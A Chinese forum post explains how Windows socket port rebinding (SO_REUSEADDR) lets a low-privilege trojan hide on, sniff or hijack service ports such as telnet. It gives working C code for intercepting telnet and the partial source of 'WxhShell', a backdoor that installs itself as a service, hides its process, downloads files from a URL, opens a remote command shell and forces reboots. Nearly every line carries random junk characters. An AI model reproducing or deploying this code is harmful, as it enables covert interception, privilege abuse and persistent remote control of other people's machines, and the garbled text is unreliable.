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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nr3==21Om4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H,NF;QPPC  
ji= "DYtL  
  saddr.sin_family = AF_INET; R@2X3s:  
A=>u 1h69  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D m9sL!  
X wtqi@zlE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h yIV.W/  
,fRq5"?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KY^Z  
"wc<B4"  
  这意味着什么?意味着可以进行如下的攻击: ")25 qZae  
S|}L&A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  AOx[  
" Yy n/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t`QENXA}  
Xnh8e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ##ANrG l  
@%SQFu@FJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~QVH<`sn  
6H|S;K+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z?//rXuO  
T]$U""  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #A.@i+Zv  
:gC#hmm^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BJ0?kX@  
'B}qZCy W  
  #include 048kPXm`  
  #include DV{=n C  
  #include ?X;RLpEc|A  
  #include    hv+zGID7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;wD)hNLAvR  
  int main() %XTI-B/K  
  { 2T`!v  
  WORD wVersionRequested; 3uMy]HUQ  
  DWORD ret; DTs;{c  
  WSADATA wsaData; +/\6=).\  
  BOOL val; B erwI 7!=  
  SOCKADDR_IN saddr; l;V173W=&  
  SOCKADDR_IN scaddr; tMe~vq[  
  int err; eQ}4;^;M-  
  SOCKET s; <-0]i_4sK  
  SOCKET sc; azU"G(6y?+  
  int caddsize; Y^]rMK/;  
  HANDLE mt; O H7FkR  
  DWORD tid;   .p$(ZH =~  
  wVersionRequested = MAKEWORD( 2, 2 ); K+iP 6B  
  err = WSAStartup( wVersionRequested, &wsaData ); E)3NxmM#  
  if ( err != 0 ) { )}ROLe  
  printf("error!WSAStartup failed!\n"); (iGTACoF  
  return -1; ~{gqsuCCL  
  } zMJT:7*`|  
  saddr.sin_family = AF_INET; We z 5N  
   |'2d_vR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BORA(,  
LHmZxi?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .8|X   
  saddr.sin_port = htons(23); t:c.LFrF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /L#?zSt  
  { mcok/,/  
  printf("error!socket failed!\n"); "I TIhnE  
  return -1; qY#6SO`_iy  
  } ~_ a-E  
  val = TRUE; 4/)k)gLI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Qci]i)s$js  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6@Y|"b  
  { =":,.Ttq41  
  printf("error!setsockopt failed!\n"); 3N:D6w-R  
  return -1; >i O!*&Y>  
  } h.fq,em+H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,2)6s\]/b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !VK|u8i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BluVmM3Vj  
9{uO1O\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P }uOJVQ_  
  { $wU\Js`/S]  
  ret=GetLastError(); kNL\m[W8$  
  printf("error!bind failed!\n"); 0?M:6zf_iv  
  return -1; [8*)8jP3  
  } ]cruF#`%  
  listen(s,2); 3BLqCZ  
  while(1) M@ZI\  
  { KG5>]_GH  
  caddsize = sizeof(scaddr); ]s748+  
  //接受连接请求 lHIM}~#;nd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9k=3u;$v  
  if(sc!=INVALID_SOCKET) v9UD%@tZ  
  { a'z7(8$$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~v"L!=~G;a  
  if(mt==NULL) 1i ] ^{;]  
  { ZAf7Tz\U  
  printf("Thread Creat Failed!\n"); Tb-F]lg$  
  break; wvPk:1wD5  
  } m#F`] {  
  } ],v=]+R  
  CloseHandle(mt); o8vug$=Z  
  } b_):MQ1{  
  closesocket(s); cFWc<55aX6  
  WSACleanup(); Hq 188<  
  return 0; \^%}M!tan  
  }   8e|%M  
  DWORD WINAPI ClientThread(LPVOID lpParam) d^6M9lGU  
  { @ry_nKr9  
  SOCKET ss = (SOCKET)lpParam; _/K_[w 1  
  SOCKET sc; b%5f&N  
  unsigned char buf[4096]; 6MkP |vr6  
  SOCKADDR_IN saddr; K96<M);:g  
  long num; +?!(G}5  
  DWORD val; i7>tU=  
  DWORD ret; bY0|N[ g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jalg5`PU0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?S$P9^ii'  
  saddr.sin_family = AF_INET; "FKOaQ%IH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (J!+(H 8  
  saddr.sin_port = htons(23); ?1eK#Z.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0_t`%l=  
  { ZJ[ ??=Gz  
  printf("error!socket failed!\n"); H'hpEw G  
  return -1; ( ICd}  
  } 9 |vLwQ  
  val = 100; ox (%5c)b|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /~f'}]W  
  { Oo% d]8W  
  ret = GetLastError(); w)Qp?k d  
  return -1; .h4 \Y A  
  } J S_]FsxD  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NPe%F+X  
  { s}% M4  
  ret = GetLastError();  'CkIz"Wd  
  return -1; $'hEz/  
  } n#OB%@]<V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %Qdn  
  { d4c8~L H-  
  printf("error!socket connect failed!\n"); )f<z% :I+Z  
  closesocket(sc); }d}Ke_Q0  
  closesocket(ss); BKjS ,2C  
  return -1; xx%j.zDI]  
  } k{SAvKx=  
  while(1) d,n 'n  
  { &@Be2!%'9K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y\?"WGL)p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FE|JHh$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @wNG{Stj  
  num = recv(ss,buf,4096,0); 6MMOf\   
  if(num>0) OA"q[s  
  send(sc,buf,num,0); JB[~;nLlC  
  else if(num==0) czRFMYE  
  break; hp-<2i^"!  
  num = recv(sc,buf,4096,0); Y^EcQzLw  
  if(num>0) dvJ M6W>^=  
  send(ss,buf,num,0); |Uh  
  else if(num==0) 'Xq| Kf (  
  break; FZslv"F  
  } 8i#2d1O  
  closesocket(ss); xBi' X  
  closesocket(sc); jQ^|3#L\  
  return 0 ; 0*D$R`$  
  } .Od !0(0  
M{T-iW"  
qm8B8&-  
========================================================== Fgh_9S9J  
)g#T9tx2D  
下边附上一个代码,,WXhSHELL !/i{l  
h-<81"}j1  
========================================================== dufu|BL|}  
Ata:^qI  
#include "stdafx.h" :hk5 .[  
Y;^l%ePuW  
#include <stdio.h> d K3*;  
#include <string.h> %^GfS@t  
#include <windows.h> ARwD~ Tr  
#include <winsock2.h> HjD8u`qQ  
#include <winsvc.h> hxd`OG<gF  
#include <urlmon.h> Eq9x2  
;m{1 _1  
#pragma comment (lib, "Ws2_32.lib") BdblLUGK#  
#pragma comment (lib, "urlmon.lib") cZU=o\  
k(7&N0V%zz  
#define MAX_USER   100 // 最大客户端连接数 lKp"xcAD  
#define BUF_SOCK   200 // sock buffer ']z{{UNUN  
#define KEY_BUFF   255 // 输入 buffer YdC6k?tzS  
rkCx{pe9  
#define REBOOT     0   // 重启 4`]^@"{  
#define SHUTDOWN   1   // 关机 ]i ,{  
D_^ nI:  
#define DEF_PORT   5000 // 监听端口 VfC<WVYiZ  
A:N|\Mv2b  
#define REG_LEN     16   // 注册表键长度 O6a<`]F  
#define SVC_LEN     80   // NT服务名长度 _w+:Dv~*a  
?u=Fj_N_  
// 从dll定义API j8{i#;s!"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =I;ZMJR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tc &z:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zFw s:_ i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I%X6T@P  
j2.|ln"!  
// wxhshell配置信息 O{G?;H$  
struct WSCFG { YPK(be_|I  
  int ws_port;         // 监听端口 +tIF h'  
  char ws_passstr[REG_LEN]; // 口令 >xYpNtEs  
  int ws_autoins;       // 安装标记, 1=yes 0=no m6&~HfwN  
  char ws_regname[REG_LEN]; // 注册表键名 O/a4]r+_  
  char ws_svcname[REG_LEN]; // 服务名 ]kRfB:4ED  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _] sn0rX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1AfnzGvA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }mq6]ZrK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dIa+K?INX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BsqP?/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (X1e5j>Ru  
37 ,  
}; Ou!2 [oe@M  
bvr^zH,C  
// default Wxhshell configuration xH(lm2kvT  
struct WSCFG wscfg={DEF_PORT, Qu"\wE^.`  
    "xuhuanlingzhe", }c`"_L  
    1, #Z`q+@@ ]A  
    "Wxhshell", AFDq}*2Qb  
    "Wxhshell", G"U9E5O  
            "WxhShell Service", YYl4"l  
    "Wrsky Windows CmdShell Service", ~tUl}  
    "Please Input Your Password: ", kmsb hYM)  
  1, eH3JyzzP,  
  "http://www.wrsky.com/wxhshell.exe", &5spTMw8  
  "Wxhshell.exe" O-~ 7b(Z  
    }; st3l2Q  
EZy)A$|  
// 消息定义模块 QP^Cx=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l7259Ro~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]&xk30  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; otl0J Ht*+  
char *msg_ws_ext="\n\rExit."; _jI,)sr4ic  
char *msg_ws_end="\n\rQuit."; { MSkHf=  
char *msg_ws_boot="\n\rReboot..."; '}JhzKNj  
char *msg_ws_poff="\n\rShutdown..."; lhz{1P]s  
char *msg_ws_down="\n\rSave to "; qL&[K>2z  
}Jve cRtg1  
char *msg_ws_err="\n\rErr!"; W*4-.*U8a  
char *msg_ws_ok="\n\rOK!"; ox>^>wR*  
O=&0H|B  
char ExeFile[MAX_PATH]; m!4ndO;0vh  
int nUser = 0; 4 \K7xM!  
HANDLE handles[MAX_USER]; S)k*?dQ##R  
int OsIsNt; *1 ]uH e  
EXwo,?I  
SERVICE_STATUS       serviceStatus; oMD>Yw c-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D},>mfzF  
5k3n\sqZA  
// 函数声明 <fjX[l<Uz  
int Install(void); {3p4:*}  
int Uninstall(void); Av$^  
int DownloadFile(char *sURL, SOCKET wsh); F/bT)QT<f  
int Boot(int flag); ?m=N]!n  
void HideProc(void); 1k5Who@  
int GetOsVer(void); :q7Wy&ow  
int Wxhshell(SOCKET wsl); dh*ZKI^@(  
void TalkWithClient(void *cs); UcDS9f_87  
int CmdShell(SOCKET sock); *_{j=sd  
int StartFromService(void); [vK ^Um  
int StartWxhshell(LPSTR lpCmdLine); |zNX=mAV  
_AYK435>N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o\<ULW*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xy&A~F  
%~JJ.&  
// 数据结构和表定义 2c,9e`  
SERVICE_TABLE_ENTRY DispatchTable[] = 0hNA1Fh{U  
{ Gg3,:A_ w  
{wscfg.ws_svcname, NTServiceMain}, y$F'(b| )  
{NULL, NULL} .E1rqBG  
}; Co_A/  
gQelD6c  
// 自我安装 ?|C2*?hZ+  
int Install(void) %lx!. G  
{ @* jz o  
  char svExeFile[MAX_PATH]; b8VTo lJ  
  HKEY key; "a>q`RaIQ"  
  strcpy(svExeFile,ExeFile); 5 +YH.4R  
]^n7  
// 如果是win9x系统,修改注册表设为自启动 N1S{suic  
if(!OsIsNt) { vq0Tk bzs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gA+qC7=p$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &yTqZ*Yuk  
  RegCloseKey(key); UA0Bzoky;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9y8&9<#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]z;I _-  
  RegCloseKey(key); Yty/3T3)e  
  return 0; Mj?`j_X  
    } )VS=E7[  
  } /P3 <"?#k  
} R)( T^V`{  
else { omu|yCK  
ufZDF=$7  
// 如果是NT以上系统,安装为系统服务 =/+-<px  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j'<<4.(  
if (schSCManager!=0) gHEu/8E  
{ Ugt/rf5n  
  SC_HANDLE schService = CreateService gNrjo=  
  ( [{,T.;'<j  
  schSCManager, 6|%?tex  
  wscfg.ws_svcname, \?ZB]*Fu  
  wscfg.ws_svcdisp, T|op$ s|  
  SERVICE_ALL_ACCESS, fS:&Ak ];  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y%aCMP9j~9  
  SERVICE_AUTO_START, !r8 `Yrn  
  SERVICE_ERROR_NORMAL, YQ)kRhFA  
  svExeFile, c(m<h+ 2VL  
  NULL, 4JXeV&5Qk'  
  NULL, 7~% ?#  
  NULL, *NaB#;+|k`  
  NULL, =tn)}Y.<e  
  NULL 0c]/bs{}  
  ); vY}g<*  
  if (schService!=0) t?&|8SId  
  { \ gGW8Q;  
  CloseServiceHandle(schService); 9dLV96  
  CloseServiceHandle(schSCManager); KVaiugQ   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [z\$?VJspQ  
  strcat(svExeFile,wscfg.ws_svcname); vjCu4+w($Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aQcleTb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $am$ EU?s  
  RegCloseKey(key); HTS0s\R$  
  return 0; KYhwOGN  
    } OU.6bmWy|  
  } Tc:)- z[o  
  CloseServiceHandle(schSCManager); FFpT~.  
} }W8;=$jr  
} e4_rC'=  
[;yOBF  
return 1; W:nef<WH  
} 3m)0z{n  
>J?fl8  
// 自我卸载 q5+4S5R*^  
int Uninstall(void) $dC?Tl|B0  
{ EU;9 *W<  
  HKEY key;  _,0  
$G+@_'  
if(!OsIsNt) { EjR9JUu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (D&3G;0tK  
  RegDeleteValue(key,wscfg.ws_regname); 0<@KG8@hI;  
  RegCloseKey(key); gzT*-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <w9JRpFY  
  RegDeleteValue(key,wscfg.ws_regname); ] vsz, 0  
  RegCloseKey(key); &64h ;P<  
  return 0; (OL4Ex']  
  } S Lj!v&'  
} iB yf{I>+  
} pRpBhm;iJ  
else { djG*YM\B  
hEH?[>9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rfg'G&A(  
if (schSCManager!=0)  `25yE/  
{ 69NeQ$](  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {duz\k2  
  if (schService!=0) }C?'BRX  
  { 2\{M:\2o  
  if(DeleteService(schService)!=0) { WDD%Q8ejV&  
  CloseServiceHandle(schService); itP,\k7>d  
  CloseServiceHandle(schSCManager); =BAr .m+"  
  return 0; _8J.fT$${  
  } sb*G!8j  
  CloseServiceHandle(schService); !;{7-~  
  } HM1Fz\Sf  
  CloseServiceHandle(schSCManager); q~o<*W   
} :\c ^*K(9  
} m? }6)\ob  
p27~>xQ  
return 1; P|E| $)m  
} rJ4S%6w  
FVbb2Y?R  
// 从指定url下载文件 f~R(D0@  
int DownloadFile(char *sURL, SOCKET wsh) R+z2}}Z!`  
{ Y\P8 v  
  HRESULT hr; #p&qUw  
char seps[]= "/"; 7Q9 w?y~c  
char *token; [ l??A3G  
char *file; ?e4YGOe.  
char myURL[MAX_PATH]; t%)7t9j  
char myFILE[MAX_PATH]; bsli0FJSh'  
_J#zY- j  
strcpy(myURL,sURL); G>}255qY  
  token=strtok(myURL,seps); .2t4tb(SUw  
  while(token!=NULL) L`TLgH&?R  
  { U '_Q>k  
    file=token; & J'idYD  
  token=strtok(NULL,seps); 3;9^  
  } Mfuv0P~  
4F:\-O  
GetCurrentDirectory(MAX_PATH,myFILE); f'RX6$}\1X  
strcat(myFILE, "\\"); eM6<%?b  
strcat(myFILE, file); Dml;#'IF3  
  send(wsh,myFILE,strlen(myFILE),0); v;{#Q&(  
send(wsh,"...",3,0); _;y9$"A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Dx?,=~W9  
  if(hr==S_OK) LonxT&"!D  
return 0; Bk c4TO  
else i&fuSk EP  
return 1; &6!)jIWJ  
 8dA~\a  
} #zs~," dRv  
 K5h  
// 系统电源模块 *?vCC+c  
int Boot(int flag) <n$'voR7]  
{ (%6P0*  
  HANDLE hToken; Nai2W<,  
  TOKEN_PRIVILEGES tkp; Sz`,X0a  
t3_O H^  
  if(OsIsNt) { $h"\N$iSq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8TKnL\aar  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9TC,!0U{_.  
    tkp.PrivilegeCount = 1; q3!bky\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @S;'@VC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /,yd+wcW#  
if(flag==REBOOT) { vvMT}-!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !Ai@$tl[S  
  return 0; [9L:),&u  
} FW4<5~'  
else { 3nQ`]5.Q w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #c!lS<z  
  return 0; Lk8ek}o'  
} $6 f3F?y7  
  } 1GcE) e!>  
  else { TD0 B%  
if(flag==REBOOT) { /([kh~a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;)*eo_tQ  
  return 0; %tGO?JMkd  
} ^yp{32  
else { N4!O.POP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ti5-6%~&  
  return 0; ZY+qA  
} 6cXyJW  
} <]2wn  
I\ob7X'Xu!  
return 1; 4D4j7  
} Y:[u1~a  
u*`GiZAO  
// win9x进程隐藏模块 Vc Z3 X4/  
void HideProc(void) #X1ND  
{ |Rk@hzM2S  
0GeTS Fj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); usF.bkTp  
  if ( hKernel != NULL ) 8l`*]1.W<  
  { #*Ctwl,T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h:|qC`}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wmLs/:~  
    FreeLibrary(hKernel); 5 7c8xk[.2  
  } nNn :-  
`|q(h Ow2  
return; ~]2K ^bh8&  
} 5rik7a)Z]  
?e 4/p  
// 获取操作系统版本 }|=|s f  
int GetOsVer(void) rx|pOz,:  
{ 4kx N<]  
  OSVERSIONINFO winfo; 9yP;@y*d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'H;*W|:-]  
  GetVersionEx(&winfo); @o`AmC . 8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L!xi  
  return 1; Gd85kY@w7  
  else JWxwJex  
  return 0; gPPkT"  
} RA L~!"W  
 @q) d  
// 客户端句柄模块 ]/L0,^RI  
int Wxhshell(SOCKET wsl) <e6#lFQqK  
{ OneY_<*a<  
  SOCKET wsh; Q=$2c[Uk  
  struct sockaddr_in client; 0g8NHkM:2a  
  DWORD myID; T>W,'H  
]Y&VT7+Z  
  while(nUser<MAX_USER) +ZP7{%  
{ Nh44]*  
  int nSize=sizeof(client); ?:0Jav  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BI@[\aRLQ  
  if(wsh==INVALID_SOCKET) return 1; 'I;zJ`Trd  
G3T]`Atf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xAm6BB c  
if(handles[nUser]==0) $6IJ P\  
  closesocket(wsh); ;O,jUiQ  
else X:{!n({r=  
  nUser++; WcGS9`m/  
  } m1AJ{cs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f|g g  
Aos+dP5h,8  
  return 0; GQ ;;bcj&  
} _yR^*}xJb  
>9J:Uo1z  
// 关闭 socket Z;"vW!%d  
void CloseIt(SOCKET wsh) veECfR;  
{ lp8v0e4  
closesocket(wsh); @C aG9]  
nUser--; klhtKp_p  
ExitThread(0); Ax}JLPz5'  
} 5!9zI+S|=`  
dAj$1Ke  
// 客户端请求句柄 Eh4= ZEX  
void TalkWithClient(void *cs) O#r%>;3*  
{ BJ(M2|VH  
}<:}XlwT%  
  SOCKET wsh=(SOCKET)cs; oP.7/*p  
  char pwd[SVC_LEN]; \73ch  
  char cmd[KEY_BUFF]; N{>n$ v}  
char chr[1]; gQ.Sa j $  
int i,j; Xn ;AZu^'R  
BDVtSs<7  
  while (nUser < MAX_USER) { =vhm}  
$ME)#(  
if(wscfg.ws_passstr) { a' IdYW0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? =+WRjF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9cm#56  
  //ZeroMemory(pwd,KEY_BUFF); { (}By/_  
      i=0; Z/J y'$x  
  while(i<SVC_LEN) { 9_s`{(0?  
?bu>r=oIO]  
  // 设置超时 F6dP,(  
  fd_set FdRead; :U x_qB  
  struct timeval TimeOut; ct}9i"H#1  
  FD_ZERO(&FdRead); Y6d@h? ht  
  FD_SET(wsh,&FdRead); vr^qWn  
  TimeOut.tv_sec=8; a.6(K  
  TimeOut.tv_usec=0; @=kSo -SX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lw5`p,`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n'w.; q  
PFK  '$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WuW^GC{7  
  pwd=chr[0]; g=o4Q< #^y  
  if(chr[0]==0xd || chr[0]==0xa) { po7qmLq  
  pwd=0; v*yuE5{  
  break; |zE'd!7E  
  } h)nG)|c  
  i++; " 2Dngw  
    } FxtI"g\0  
POR\e|hRT]  
  // 如果是非法用户,关闭 socket L j$;:/G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \nqS+on]  
} G*v,GR  
}o{(S%%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c[Zje7 @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z EO WO  
^G-@06/!  
while(1) { dC4'{ n|7  
4xJQ!>6  
  ZeroMemory(cmd,KEY_BUFF); >yh2Lri  
&iVs0R  
      // 自动支持客户端 telnet标准   ^zgo#J 5O  
  j=0; /H+a0`/  
  while(j<KEY_BUFF) { 'A[dCc8O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BFW&2  
  cmd[j]=chr[0]; +d-NL?c  
  if(chr[0]==0xa || chr[0]==0xd) { yR.Ong  
  cmd[j]=0; 76` .Y  
  break; L4?IHNB  
  } 5rUdv}.  
  j++; gltBC${7wZ  
    } uSBa DYg  
aFIw=c(nP  
  // 下载文件 *HB-QIl  
  if(strstr(cmd,"http://")) { #LN`X8Wz'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R_xRp&5  
  if(DownloadFile(cmd,wsh)) .w ,q0<}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HE_8(Ms ;8  
  else Vs{|xG7W D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gKCX|cULY  
  } -s'-eQF J  
  else { o,3a4nH;  
8sK9G` k  
    switch(cmd[0]) { uA#;G/$  
  {cw /!B  
  // 帮助 q6X1P" %.  
  case '?': { $xdy&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eQvg7aO;  
    break; w:l V"]1  
  } ?@ $r  
  // 安装 b\+`e b8_  
  case 'i': { [;sRV<  
    if(Install()) HiJE}V;Vq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $7A8/#  
    else 7i1q wRv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J!7MZL b  
    break; |IUWF%~^$+  
    } U|j`e5)  
  // 卸载 "8zDbdK  
  case 'r': { ^L&iR0  
    if(Uninstall()) , SnSW-P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G;XxBA  
    else _2 osV[e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5d!-G$ @  
    break; yJe>JK~)  
    } ZWp(GC1NA  
  // 显示 wxhshell 所在路径 c-FcEW  
  case 'p': { t.\dpBq  
    char svExeFile[MAX_PATH]; i<g-+Qs  
    strcpy(svExeFile,"\n\r"); %BB%pC  
      strcat(svExeFile,ExeFile); ^D-/`d  
        send(wsh,svExeFile,strlen(svExeFile),0); }f7j 8py  
    break; |)/aGZ+  
    } z,%$+)K  
  // 重启 2SR:FUV/  
  case 'b': { t#eTV@-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hl |z</*+  
    if(Boot(REBOOT)) 3%=~) 7cF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G'aDb/  
    else { tcog'nAz  
    closesocket(wsh); y Fq&8 x<X  
    ExitThread(0); =[jXe  
    } LvYB7<zk>  
    break; Fh9h,' V"  
    } 4#hSJ(~7S  
  // 关机 gt w Q-  
